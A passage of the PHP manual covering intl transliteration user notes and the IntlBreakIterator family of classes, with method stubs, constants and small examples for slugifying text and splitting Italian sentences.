They're at least used in Norwegian and I read something about French, too ... Some are just used for styling (f.e. ﬁ)

Here's an example that supports all characters (should at least, according to the documentation):
<?php
var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; Lower()', "A æ Übérmensch på høyeste nivå! И я люблю PHP! ﬁ"));
// string(41) "a ae ubermensch pa hoyeste niva! i a lublu php! fi"
?>

In this example any character will firstly be converted to a latin character. If that's finished, replace all latin characters by their ASCII replacement.
hdogan at gmail dot com 11-Nov-2012 11:33
You can create slugs easily with:

<?php
function slugify($string) {
    $string = transliterator_transliterate("Any-Latin; NFD; [:Nonspacing Mark:] Remove; NFC; [:Punctuation:] Remove; Lower();", $string);
    $string = preg_replace('/[-\s]+/', '-', $string);
    return trim($string, '-');
}

echo slugify("Я люблю PHP!");
?>
jinmoku at hotmail dot com 09-Feb-2011 09:59
OOP version :

<?php
$str = 'àáâãäçèéêëìíîïñòóôõöùúûüýÿ
ÀÁÂÃÄÇÈÉÊËÌÍÎÏÑÒÓÔÕÖÙÚÛÜÝ';
$rule = 'NFD; [:Nonspacing Mark:] Remove; NFC';

$myTrans = Transliterator::create($rule);
echo $myTrans->transliterate($str);

//aaaaaceeeeiiiinooooouuuuyy
//AAAAACEEEEIIIINOOOOOUUUUY
?>


The IntlBreakIterator class

(No version information available, might only be in Git)

Introduction

A “break iterator” is an ICU object that exposes methods for locating boundaries in text (e.g. word or sentence boundaries). The PHP IntlBreakIterator serves as the base class for all types of ICU break iterators. Where extra functionality is available, the intl extension may expose the ICU break iterator with suitable subclasses, such as IntlRuleBasedBreakIterator or IntlCodePointBreaIterator.

This class implements Traversable. Traversing an IntlBreakIterator yields non-negative integer values representing the successive locations of the text boundaries, expressed as UTF-8 code units (byte) counts, taken from the beggining of the text (which has the location 0). The keys yielded by the iterator simply form the sequence of natural numbers {0, 1, 2, …}.

Class synopsis

IntlBreakIterator implements Traversable {
/* Constants */
const integer DONE = -1 ;
const integer WORD_NONE = 0 ;
const integer WORD_NONE_LIMIT = 100 ;
const integer WORD_NUMBER = 100 ;
const integer WORD_NUMBER_LIMIT = 200 ;
const integer WORD_LETTER = 200 ;
const integer WORD_LETTER_LIMIT = 300 ;
const integer WORD_KANA = 300 ;
const integer WORD_KANA_LIMIT = 400 ;
const integer WORD_IDEO = 400 ;
const integer WORD_IDEO_LIMIT = 500 ;
const integer LINE_SOFT = 0 ;
const integer LINE_SOFT_LIMIT = 100 ;
const integer LINE_HARD = 100 ;
const integer LINE_HARD_LIMIT = 200 ;
const integer SENTENCE_TERM = 0 ;
const integer SENTENCE_TERM_LIMIT = 100 ;
const integer SENTENCE_SEP = 100 ;
const integer SENTENCE_SEP_LIMIT = 200 ;
/* Methods */
private __construct ( void )
public static ReturnType createCharacterInstance ([ string $"locale" ] )
public static ReturnType createCodePointInstance ( void )
public static ReturnType createLineInstance ([ string $"locale" ] )
public static ReturnType createSentenceInstance ([ string $"locale" ] )
public static ReturnType createTitleInstance ([ string $"locale" ] )
public static ReturnType createWordInstance ([ string $"locale" ] )
public ReturnType current ( void )
public ReturnType first ( void )
public ReturnType following ( string $"offset" )
public ReturnType getErrorCode ( void )
ReturnType intl_get_error_code ( void )
public ReturnType getErrorMessage ( void )
ReturnType intl_get_error_message ( void )
public ReturnType getLocale ( string $"locale_type" )
public ReturnType getPartsIterator ([ string $"key_type" ] )
public ReturnType getText ( void )
public ReturnType isBoundary ( string $"offset" )
public ReturnType last ( void )
public ReturnType next ([ string $"offset" ] )
public ReturnType preceding ( string $"offset" )
public ReturnType previous ( void )
public ReturnType setText ( string $"text" )
}

Predefined Constants

IntlBreakIterator::DONE

IntlBreakIterator::WORD_NONE

IntlBreakIterator::WORD_NONE_LIMIT

IntlBreakIterator::WORD_NUMBER

IntlBreakIterator::WORD_NUMBER_LIMIT

IntlBreakIterator::WORD_LETTER

IntlBreakIterator::WORD_LETTER_LIMIT

IntlBreakIterator::WORD_KANA

IntlBreakIterator::WORD_KANA_LIMIT

IntlBreakIterator::WORD_IDEO

IntlBreakIterator::WORD_IDEO_LIMIT

IntlBreakIterator::LINE_SOFT

IntlBreakIterator::LINE_SOFT_LIMIT

IntlBreakIterator::LINE_HARD

IntlBreakIterator::LINE_HARD_LIMIT

IntlBreakIterator::SENTENCE_TERM

IntlBreakIterator::SENTENCE_TERM_LIMIT

IntlBreakIterator::SENTENCE_SEP

IntlBreakIterator::SENTENCE_SEP_LIMIT

Table of Contents

  • IntlBreakIterator::__construct — Private constructor for disallowing instantiation
  • IntlBreakIterator::createCharacterInstance — Create break iterator for boundaries of combining character sequences
  • IntlBreakIterator::createCodePointInstance — Create break iterator for boundaries of code points
  • IntlBreakIterator::createLineInstance — Create break iterator for logically possible line breaks
  • IntlBreakIterator::createSentenceInstance — Create break iterator for sentence breaks
  • IntlBreakIterator::createTitleInstance — Create break iterator for title-casing breaks
  • IntlBreakIterator::createWordInstance — Create break iterator for word breaks
  • IntlBreakIterator::current — Get index of current position
  • IntlBreakIterator::first — Set position to the first character in the text
  • IntlBreakIterator::following — Advance the iterator to the first boundary following specified offset
  • IntlBreakIterator::getErrorCode — Get last error code on the object
  • IntlBreakIterator::getErrorMessage — Get last error message on the object
  • IntlBreakIterator::getLocale — Get the locale associated with the object
  • IntlBreakIterator::getPartsIterator — Create iterator for navigating fragments between boundaries
  • IntlBreakIterator::getText — Get the text being scanned
  • IntlBreakIterator::isBoundary — Tell whether an offset is a boundaryʼs offset
  • IntlBreakIterator::last — Set the iterator position to index beyond the last character
  • IntlBreakIterator::next — Advance the iterator the next boundary
  • IntlBreakIterator::preceding — Set the iterator position to the first boundary before an offset
  • IntlBreakIterator::previous — Set the iterator position to the boundary immediately before the current
  • IntlBreakIterator::setText — Set the text being scanned

User Contributed Notes

SenseException 04-Dec-2013 05:53
Since there is no excample for the usage of the IntlBreakIterator yet, I made a small one:

<?php

$text = "Si contano i danni. Un morto a Roma, un treno ".
"deragliato e quattro feriti a Foggia, strade chiuse in tutto ".
"il sud, allagamenti e danni sulla costa ionica. A Pescara, ".
"1.500 sfollati per l'esondazione del Fosso Vallelunga. ".
"Dall'inizio dell'anno l'agricoltura ha subito un miliardo ".
"di euro di danni.";

$locale = 'it_IT';

$i = IntlBreakIterator::createSentenceInstance($locale);
$i->setText($text);

foreach($i->getPartsIterator() as $sentence) {
    echo $sentence . PHP_EOL . '----- next -----' .  PHP_EOL;
}

?>

Result:

Si contano i danni.
----- next -----
Un morto a Roma, un treno deragliato e quattro feriti a Foggia, strade chiuse in tutto il sud, allagamenti e danni sulla costa ionica.
----- next -----
A Pescara, 1.500 sfollati per l'esondazione del Fosso Vallelunga.
----- next -----
Dall'inizio dell'anno l'agricoltura ha subito un miliardo di euro di danni.
----- next -----


Private constructor for disallowing instantiation

  • « IntlBreakIterator
  • IntlBreakIterator::createCharacterInstance »
  • PHP Manual
  • IntlBreakIterator
  • Private constructor for disallowing instantiation

IntlBreakIterator::__construct

(No version information available, might only be in Git)

IntlBreakIterator::__construct — Private constructor for disallowing instantiation

Description

private IntlBreakIterator::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for boundaries of combining character sequences

  • « IntlBreakIterator::__construct
  • IntlBreakIterator::createCodePointInstance »
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for boundaries of combining character sequences

IntlBreakIterator::createCharacterInstance

(No version information available, might only be in Git)

IntlBreakIterator::createCharacterInstance — Create break iterator for boundaries of combining character sequences

Description

public static ReturnType IntlBreakIterator::createCharacterInstance ([ string $"locale" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"locale"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for boundaries of code points

  • « IntlBreakIterator::createCharacterInstance
  • IntlBreakIterator::createLineInstance »
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for boundaries of code points

IntlBreakIterator::createCodePointInstance

(No version information available, might only be in Git)

IntlBreakIterator::createCodePointInstance — Create break iterator for boundaries of code points

Description

public static ReturnType IntlBreakIterator::createCodePointInstance ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for logically possible line breaks

  • « IntlBreakIterator::createCodePointInstance
  • IntlBreakIterator::createSentenceInstance »
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for logically possible line breaks

IntlBreakIterator::createLineInstance

(No version information available, might only be in Git)

IntlBreakIterator::createLineInstance — Create break iterator for logically possible line breaks

Description

public static ReturnType IntlBreakIterator::createLineInstance ([ string $"locale" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"locale"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for sentence breaks

  • « IntlBreakIterator::createLineInstance
  • IntlBreakIterator::createTitleInstance »
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for sentence breaks

IntlBreakIterator::createSentenceInstance

(No version information available, might only be in Git)

IntlBreakIterator::createSentenceInstance — Create break iterator for sentence breaks

Description

public static ReturnType IntlBreakIterator::createSentenceInstance ([ string $"locale" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"locale"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for title-casing breaks

  • « IntlBreakIterator::createSentenceInstance
  • IntlBreakIterator::createWordInstance »
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for title-casing breaks

IntlBreakIterator::createTitleInstance

(No version information available, might only be in Git)

IntlBreakIterator::createTitleInstance — Create break iterator for title-casing breaks

Description

public static ReturnType IntlBreakIterator::createTitleInstance ([ string $"locale" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"locale"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create break iterator for word breaks

  • « IntlBreakIterator::createTitleInstance
  • IntlBreakIterator::current »
  • PHP Manual
  • IntlBreakIterator
  • Create break iterator for word breaks

IntlBreakIterator::createWordInstance

(No version information available, might only be in Git)

IntlBreakIterator::createWordInstance — Create break iterator for word breaks

Description

public static ReturnType IntlBreakIterator::createWordInstance ([ string $"locale" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"locale"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get index of current position

  • « IntlBreakIterator::createWordInstance
  • IntlBreakIterator::first »
  • PHP Manual
  • IntlBreakIterator
  • Get index of current position

IntlBreakIterator::current

(No version information available, might only be in Git)

IntlBreakIterator::current — Get index of current position

Description

public ReturnType IntlBreakIterator::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set position to the first character in the text

  • « IntlBreakIterator::current
  • IntlBreakIterator::following »
  • PHP Manual
  • IntlBreakIterator
  • Set position to the first character in the text

IntlBreakIterator::first

(No version information available, might only be in Git)

IntlBreakIterator::first — Set position to the first character in the text

Description

public ReturnType IntlBreakIterator::first ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Advance the iterator to the first boundary following specified offset

  • « IntlBreakIterator::first
  • IntlBreakIterator::getErrorCode »
  • PHP Manual
  • IntlBreakIterator
  • Advance the iterator to the first boundary following specified offset

IntlBreakIterator::following

(No version information available, might only be in Git)

IntlBreakIterator::following — Advance the iterator to the first boundary following specified offset

Description

public ReturnType IntlBreakIterator::following ( string $"offset" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"offset"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • « IntlBreakIterator::following
  • IntlBreakIterator::getErrorMessage »
  • PHP Manual
  • IntlBreakIterator
  • Get last error code on the object

IntlBreakIterator::getErrorCode

intl_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlBreakIterator::getErrorCode -- intl_get_error_code — Get last error code on the object

Description

Object oriented style (method):

public ReturnType IntlBreakIterator::getErrorCode ( void )

Procedural style:

ReturnType intl_get_error_code ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • « IntlBreakIterator::getErrorCode
  • IntlBreakIterator::getLocale »
  • PHP Manual
  • IntlBreakIterator
  • Get last error message on the object

IntlBreakIterator::getErrorMessage

intl_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlBreakIterator::getErrorMessage -- intl_get_error_message — Get last error message on the object

Description

Object oriented style (method):

public ReturnType IntlBreakIterator::getErrorMessage ( void )

Procedural style:

ReturnType intl_get_error_message ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the locale associated with the object

  • « IntlBreakIterator::getErrorMessage
  • IntlBreakIterator::getPartsIterator »
  • PHP Manual
  • IntlBreakIterator
  • Get the locale associated with the object

IntlBreakIterator::getLocale

(No version information available, might only be in Git)

IntlBreakIterator::getLocale — Get the locale associated with the object

Description

public ReturnType IntlBreakIterator::getLocale ( string $"locale_type" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"locale_type"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Create iterator for navigating fragments between boundaries

  • « IntlBreakIterator::getLocale
  • IntlBreakIterator::getText »
  • PHP Manual
  • IntlBreakIterator
  • Create iterator for navigating fragments between boundaries

IntlBreakIterator::getPartsIterator

(No version information available, might only be in Git)

IntlBreakIterator::getPartsIterator — Create iterator for navigating fragments between boundaries

Description

public ReturnType IntlBreakIterator::getPartsIterator ([ string $"key_type" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"key_type"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the text being scanned

  • « IntlBreakIterator::getPartsIterator
  • IntlBreakIterator::isBoundary »
  • PHP Manual
  • IntlBreakIterator
  • Get the text being scanned

IntlBreakIterator::getText

(No version information available, might only be in Git)

IntlBreakIterator::getText — Get the text being scanned

Description

public ReturnType IntlBreakIterator::getText ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Tell whether an offset is a boundaryʼs offset

  • « IntlBreakIterator::getText
  • IntlBreakIterator::last »
  • PHP Manual
  • IntlBreakIterator
  • Tell whether an offset is a boundaryʼs offset

IntlBreakIterator::isBoundary

(No version information available, might only be in Git)

IntlBreakIterator::isBoundary — Tell whether an offset is a boundaryʼs offset

Description

public ReturnType IntlBreakIterator::isBoundary ( string $"offset" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"offset"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position to index beyond the last character

  • « IntlBreakIterator::isBoundary
  • IntlBreakIterator::next »
  • PHP Manual
  • IntlBreakIterator
  • Set the iterator position to index beyond the last character

IntlBreakIterator::last

(No version information available, might only be in Git)

IntlBreakIterator::last — Set the iterator position to index beyond the last character

Description

public ReturnType IntlBreakIterator::last ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Advance the iterator the next boundary

  • « IntlBreakIterator::last
  • IntlBreakIterator::preceding »
  • PHP Manual
  • IntlBreakIterator
  • Advance the iterator the next boundary

IntlBreakIterator::next

(No version information available, might only be in Git)

IntlBreakIterator::next — Advance the iterator the next boundary

Description

public ReturnType IntlBreakIterator::next ([ string $"offset" ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"offset"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position to the first boundary before an offset

  • « IntlBreakIterator::next
  • IntlBreakIterator::previous »
  • PHP Manual
  • IntlBreakIterator
  • Set the iterator position to the first boundary before an offset

IntlBreakIterator::preceding

(No version information available, might only be in Git)

IntlBreakIterator::preceding — Set the iterator position to the first boundary before an offset

Description

public ReturnType IntlBreakIterator::preceding ( string $"offset" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"offset"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position to the boundary immediately before the current

  • « IntlBreakIterator::preceding
  • IntlBreakIterator::setText »
  • PHP Manual
  • IntlBreakIterator
  • Set the iterator position to the boundary immediately before the current

IntlBreakIterator::previous

(No version information available, might only be in Git)

IntlBreakIterator::previous — Set the iterator position to the boundary immediately before the current

Description

public ReturnType IntlBreakIterator::previous ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Set the text being scanned

  • « IntlBreakIterator::previous
  • IntlRuleBasedBreakIterator »
  • PHP Manual
  • IntlBreakIterator
  • Set the text being scanned

IntlBreakIterator::setText

(No version information available, might only be in Git)

IntlBreakIterator::setText — Set the text being scanned

Description

public ReturnType IntlBreakIterator::setText ( string $"text" )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"text"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The IntlRuleBasedBreakIterator class

(No version information available, might only be in Git)

Introduction

A subclass of IntlBreakIterator that encapsulates ICU break iterators whose behavior is specified using a set of rules. This is the most common kind of break iterators.

These rules are described in the » ICU Boundary Analysis User Guide.

Class synopsis

IntlRuleBasedBreakIterator extends IntlBreakIterator implements Traversable {
/* Constants */
const integer DONE = -1 ;
const integer WORD_NONE = 0 ;
const integer WORD_NONE_LIMIT = 100 ;
const integer WORD_NUMBER = 100 ;
const integer WORD_NUMBER_LIMIT = 200 ;
const integer WORD_LETTER = 200 ;
const integer WORD_LETTER_LIMIT = 300 ;
const integer WORD_KANA = 300 ;
const integer WORD_KANA_LIMIT = 400 ;
const integer WORD_IDEO = 400 ;
const integer WORD_IDEO_LIMIT = 500 ;
const integer LINE_SOFT = 0 ;
const integer LINE_SOFT_LIMIT = 100 ;
const integer LINE_HARD = 100 ;
const integer LINE_HARD_LIMIT = 200 ;
const integer SENTENCE_TERM = 0 ;
const integer SENTENCE_TERM_LIMIT = 100 ;
const integer SENTENCE_SEP = 100 ;
const integer SENTENCE_SEP_LIMIT = 200 ;
/* Methods */
public __construct ( string $rules [, string $areCompiled ] )
public ReturnType getBinaryRules ( void )
public ReturnType getRules ( void )
public ReturnType getRuleStatus ( void )
public ReturnType getRuleStatusVec ( void )
/* Inherited methods */
private IntlBreakIterator::__construct ( void )
public static ReturnType IntlBreakIterator::createCharacterInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createCodePointInstance ( void )
public static ReturnType IntlBreakIterator::createLineInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createSentenceInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createTitleInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createWordInstance ([ string $"locale" ] )
public ReturnType IntlBreakIterator::current ( void )
public ReturnType IntlBreakIterator::first ( void )
public ReturnType IntlBreakIterator::following ( string $"offset" )
public ReturnType IntlBreakIterator::getErrorCode ( void )
ReturnType intl_get_error_code ( void )
public ReturnType IntlBreakIterator::getErrorMessage ( void )
ReturnType intl_get_error_message ( void )
public ReturnType IntlBreakIterator::getLocale ( string $"locale_type" )
public ReturnType IntlBreakIterator::getPartsIterator ([ string $"key_type" ] )
public ReturnType IntlBreakIterator::getText ( void )
public ReturnType IntlBreakIterator::isBoundary ( string $"offset" )
public ReturnType IntlBreakIterator::last ( void )
public ReturnType IntlBreakIterator::next ([ string $"offset" ] )
public ReturnType IntlBreakIterator::preceding ( string $"offset" )
public ReturnType IntlBreakIterator::previous ( void )
public ReturnType IntlBreakIterator::setText ( string $"text" )
}

Predefined Constants

IntlRuleBasedBreakIterator::DONE

IntlRuleBasedBreakIterator::WORD_NONE

IntlRuleBasedBreakIterator::WORD_NONE_LIMIT

IntlRuleBasedBreakIterator::WORD_NUMBER

IntlRuleBasedBreakIterator::WORD_NUMBER_LIMIT

IntlRuleBasedBreakIterator::WORD_LETTER

IntlRuleBasedBreakIterator::WORD_LETTER_LIMIT

IntlRuleBasedBreakIterator::WORD_KANA

IntlRuleBasedBreakIterator::WORD_KANA_LIMIT

IntlRuleBasedBreakIterator::WORD_IDEO

IntlRuleBasedBreakIterator::WORD_IDEO_LIMIT

IntlRuleBasedBreakIterator::LINE_SOFT

IntlRuleBasedBreakIterator::LINE_SOFT_LIMIT

IntlRuleBasedBreakIterator::LINE_HARD

IntlRuleBasedBreakIterator::LINE_HARD_LIMIT

IntlRuleBasedBreakIterator::SENTENCE_TERM

IntlRuleBasedBreakIterator::SENTENCE_TERM_LIMIT

IntlRuleBasedBreakIterator::SENTENCE_SEP

IntlRuleBasedBreakIterator::SENTENCE_SEP_LIMIT

Table of Contents

  • IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset
  • IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules
  • IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object
  • IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position
  • IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position

User Contributed Notes

There are no user contributed notes for this page.


Create iterator from ruleset

  • « IntlRuleBasedBreakIterator
  • IntlRuleBasedBreakIterator::getBinaryRules »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Create iterator from ruleset

IntlRuleBasedBreakIterator::__construct

(No version information available, might only be in Git)

IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset

Description

public IntlRuleBasedBreakIterator::__construct ( string $rules [, string $areCompiled ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

"rules"

"areCompiled"

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the binary form of compiled rules

  • « IntlRuleBasedBreakIterator::__construct
  • IntlRuleBasedBreakIterator::getRules »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the binary form of compiled rules

IntlRuleBasedBreakIterator::getBinaryRules

(No version information available, might only be in Git)

IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules

Description

public ReturnType IntlRuleBasedBreakIterator::getBinaryRules ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the rule set used to create this object

  • « IntlRuleBasedBreakIterator::getBinaryRules
  • IntlRuleBasedBreakIterator::getRuleStatus »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the rule set used to create this object

IntlRuleBasedBreakIterator::getRules

(No version information available, might only be in Git)

IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object

Description

public ReturnType IntlRuleBasedBreakIterator::getRules ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the largest status value from the break rules that determined the current break position

  • « IntlRuleBasedBreakIterator::getRules
  • IntlRuleBasedBreakIterator::getRuleStatusVec »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the largest status value from the break rules that determined the current break position

IntlRuleBasedBreakIterator::getRuleStatus

(No version information available, might only be in Git)

IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position

Description

public ReturnType IntlRuleBasedBreakIterator::getRuleStatus ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get the status values from the break rules that determined the current break position

  • « IntlRuleBasedBreakIterator::getRuleStatus
  • IntlCodePointBreakIterator »
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the status values from the break rules that determined the current break position

IntlRuleBasedBreakIterator::getRuleStatusVec

(No version information available, might only be in Git)

IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position

Description

public ReturnType IntlRuleBasedBreakIterator::getRuleStatusVec ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The IntlCodePointBreakIterator class

(No version information available, might only be in Git)

Introduction

This break iterator identifies the boundaries between UTF-8 code points.

Class synopsis

IntlCodePointBreakIterator extends IntlBreakIterator implements Traversable {
/* Constants */
const integer DONE = -1 ;
const integer WORD_NONE = 0 ;
const integer WORD_NONE_LIMIT = 100 ;
const integer WORD_NUMBER = 100 ;
const integer WORD_NUMBER_LIMIT = 200 ;
const integer WORD_LETTER = 200 ;
const integer WORD_LETTER_LIMIT = 300 ;
const integer WORD_KANA = 300 ;
const integer WORD_KANA_LIMIT = 400 ;
const integer WORD_IDEO = 400 ;
const integer WORD_IDEO_LIMIT = 500 ;
const integer LINE_SOFT = 0 ;
const integer LINE_SOFT_LIMIT = 100 ;
const integer LINE_HARD = 100 ;
const integer LINE_HARD_LIMIT = 200 ;
const integer SENTENCE_TERM = 0 ;
const integer SENTENCE_TERM_LIMIT = 100 ;
const integer SENTENCE_SEP = 100 ;
const integer SENTENCE_SEP_LIMIT = 200 ;
/* Methods */
public ReturnType getLastCodePoint ( void )
/* Inherited methods */
private IntlBreakIterator::__construct ( void )
public static ReturnType IntlBreakIterator::createCharacterInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createCodePointInstance ( void )
public static ReturnType IntlBreakIterator::createLineInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createSentenceInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createTitleInstance ([ string $"locale" ] )
public static ReturnType IntlBreakIterator::createWordInstance ([ string $"locale" ] )
public ReturnType IntlBreakIterator::current ( void )
public ReturnType IntlBreakIterator::first ( void )
public ReturnType IntlBreakIterator::following ( string $"offset" )
public ReturnType IntlBreakIterator::getErrorCode ( void )
ReturnType intl_get_error_code ( void )
public ReturnType IntlBreakIterator::getErrorMessage ( void )
ReturnType intl_get_error_message ( void )
public ReturnType IntlBreakIterator::getLocale ( string $"locale_type" )
public ReturnType IntlBreakIterator::getPartsIterator ([ string $"key_type" ] )
public ReturnType IntlBreakIterator::getText ( void )
public ReturnType IntlBreakIterator::isBoundary ( string $"offset" )
public ReturnType IntlBreakIterator::last ( void )
public ReturnType IntlBreakIterator::next ([ string $"offset" ] )
public ReturnType IntlBreakIterator::preceding ( string $"offset" )
public ReturnType IntlBreakIterator::previous ( void )
public ReturnType IntlBreakIterator::setText ( string $"text" )
}

Predefined Constants

IntlCodePointBreakIterator::DONE

IntlCodePointBreakIterator::WORD_NONE

IntlCodePointBreakIterator::WORD_NONE_LIMIT

IntlCodePointBreakIterator::WORD_NUMBER

IntlCodePointBreakIterator::WORD_NUMBER_LIMIT

IntlCodePointBreakIterator::WORD_LETTER

IntlCodePointBreakIterator::WORD_LETTER_LIMIT

IntlCodePointBreakIterator::WORD_KANA

IntlCodePointBreakIterator::WORD_KANA_LIMIT

IntlCodePointBreakIterator::WORD_IDEO

IntlCodePointBreakIterator::WORD_IDEO_LIMIT

IntlCodePointBreakIterator::LINE_SOFT

IntlCodePointBreakIterator::LINE_SOFT_LIMIT

IntlCodePointBreakIterator::LINE_HARD

IntlCodePointBreakIterator::LINE_HARD_LIMIT

IntlCodePointBreakIterator::SENTENCE_TERM

IntlCodePointBreakIterator::SENTENCE_TERM_LIMIT

IntlCodePointBreakIterator::SENTENCE_SEP

IntlCodePointBreakIterator::SENTENCE_SEP_LIMIT

Table of Contents

  • IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator

User Contributed Notes

There are no user contributed notes for this page.


Get last code point passed over after advancing or receding the iterator

  • « IntlCodePointBreakIterator
  • IntlPartsIterator »
  • PHP Manual
  • IntlCodePointBreakIterator
  • Get last code point passed over after advancing or receding the iterator

IntlCodePointBreakIterator::getLastCodePoint

(No version information available, might only be in Git)

IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator

Description

public ReturnType IntlCodePointBreakIterator::getLastCodePoint ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The IntlPartsIterator class

(No version information available, might only be in Git)

Introduction

Objects of this class can be obtained from IntlBreakIterator objects. While the break iterators provide a sequence of boundary positions when iterated, IntlPartsIterator objects provide, as a convenience, the text fragments comprehended between two successive boundaries.

The keys may represent the offset of the left boundary, right boundary, or they may just the sequence of non-negative integers. See IntlBreakIterator::getPartsIterator().

Class synopsis

IntlPartsIterator extends IntlIterator implements Iterator {
/* Constants */
const integer KEY_SEQUENTIAL = 0 ;
const integer KEY_LEFT = 1 ;
const integer KEY_RIGHT = 2 ;
/* Methods */
public ReturnType getBreakIterator ( void )
/* Inherited methods */
public ReturnType IntlIterator::current ( void )
public ReturnType IntlIterator::key ( void )
public ReturnType IntlIterator::next ( void )
public ReturnType IntlIterator::rewind ( void )
public ReturnType IntlIterator::valid ( void )
}

Predefined Constants

IntlPartsIterator::KEY_SEQUENTIAL

IntlPartsIterator::KEY_LEFT

IntlPartsIterator::KEY_RIGHT

Table of Contents

  • IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator

User Contributed Notes

There are no user contributed notes for this page.


Get IntlBreakIterator backing this parts iterator

  • « IntlPartsIterator
  • UConverter »
  • PHP Manual
  • IntlPartsIterator
  • Get IntlBreakIterator backing this parts iterator

IntlPartsIterator::getBreakIterator

(No version information available, might only be in Git)

IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator

Description

public ReturnType IntlPartsIterator::getBreakIterator ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The UConverter class

(PHP 5.5.0, PECL >= 3.0.0a1)

Introduction

Class synopsis

UConverter {
/* Constants */
const integer REASON_UNASSIGNED = 0 ;
